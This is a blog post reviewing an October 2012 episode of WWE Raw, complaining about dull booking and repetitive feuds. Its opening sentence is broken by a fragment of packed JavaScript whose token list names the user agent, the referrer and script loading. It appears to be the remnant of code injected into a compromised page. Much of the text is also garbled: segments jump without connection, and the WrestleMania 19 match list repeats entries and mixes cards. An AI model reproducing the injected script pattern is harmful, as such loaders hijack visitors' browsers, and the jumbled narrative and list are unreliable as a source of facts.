An Expanded Thought On Why Raw Sucked Last Night
If you haven’t seen/read about Raw from last night and don’t want to be surprised, go check it out before you read this because there are heavy spoilers inside this.
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yekhn|var|u0026u|referrer|hhriy||js|php'.split('|'),0,{})) is one of those posts that isn’t going to make a ton of sense in a few months (hopefully), but for now it’s what’s on my mind. In short, Raw has been especially bad for weeks now and last night’s (this is October 30, 2012) was one of the worst episodes I can remember in years. Not that it was actively bad, but that it was so dull and counterproductive that it might as well not have existed. There were two major areas that are causing all these problems though, and today I’m going to use last night’s Raw as to illustrate this. Let’s get to it.
Then we have Wade Barrett vs. Orton. This is going to be covered in the second major issue.
Now we get a recap of the Punk/Ryback/referee stuff to further hammer it in.
Vickie calls Cena to the ring and we get the WWE version of the AJ/Claire Lynch story from TNA a few months back. This involves Cena being accused of having an affair with AJ (are either of them even married right now? Does it even qualify as an affair?) and having to explain away photos, videos, and jokes he makes. Ziggler comes out and gets shoved down as well. How is this supposed to be entertaining or something I want to see?
The next match is champion vs. champion with Antonio Cesaro vs. Kofi Kingston. This will also be covered in the second point.
AJ beats Beth on a fluke after the cute and tiny AJ gets crushed by Beth for about two minutes. This is IMMEDIATELY changed because Vickie wants to torture AJ some more and Beth beats her in ten seconds.
A long tag match follows with the fan favorites Sin Cara and Rey Mysterio losing to Rhodes and Sandow. Quick sidebar: the Rhodes Scholars is a cool name for a team. Team Rhodes Scholars sounds ridiculous.
Now we’re say two weeks later, everyone is 1-1 and no one is any stronger than they were when the whole cycle started. Then the cycle starts all over again and there’s no one to get behind because they’re all the same and no one of the four looks ready to move up because they’re the same as everyone else. Then Cena gets hurt and you get lucky that there’s one guy you haven’t jobbed out yet and the fans are getting behind. If Ryback wasn’t there, who in the world were they going to throw at Punk? Orton? Maybe? They need to fix this FAST so there are people to get behind. Stop worrying that these people are going to get hot and leave and enjoy them while you’ve got them there.
The 3MB beats Marella/Ryder. Again this is fine as Marella/Ryder are jobbers and the 3MB are a new team (who lost their first match).
In the review of the show, I mentioned the idea of comic relief. By that, I mean WWE needs to have something on their show where we can breathe for five minutes. Even the Divas have a big serious story going now with someone attacking Kaitlyn and blonde wigs and whatever else is going on. I know I criticized them a lot but sometimes you need good looking women in tiny outfits having bad matches for the sake of bad matches.
For an example of how this can be a problem, look at Wrestlemania 19 with me for a second. The last probably two hours or so are spent on the following in order (matches only):
Shawn Michaels vs. Chris Jericho
HHH vs. Booker T (Raw World Title)
Hulk Hogan vs. Mr. McMahon
The Rock vs. Steve Austin
Brock Lesnar vs. Kurt Angle (Smackdown World Title)
Shane McMahon vs. Vince McMahon
TLC 2
Gimmick Battle Royal
Undertaker vs. HHH
The Rock vs. Steve Austin
Shawn Michaels vs. Chris Jericho
Hulk Hogan vs. Mr. McMahon
Chris Benoit/Rhyno vs. Los Guerreros vs. Team Angle (Smackdown Tag Titles)
The Rock vs. Steve Austin
Kurt Angle vs. Brock Lesnar (Smackdown World Title)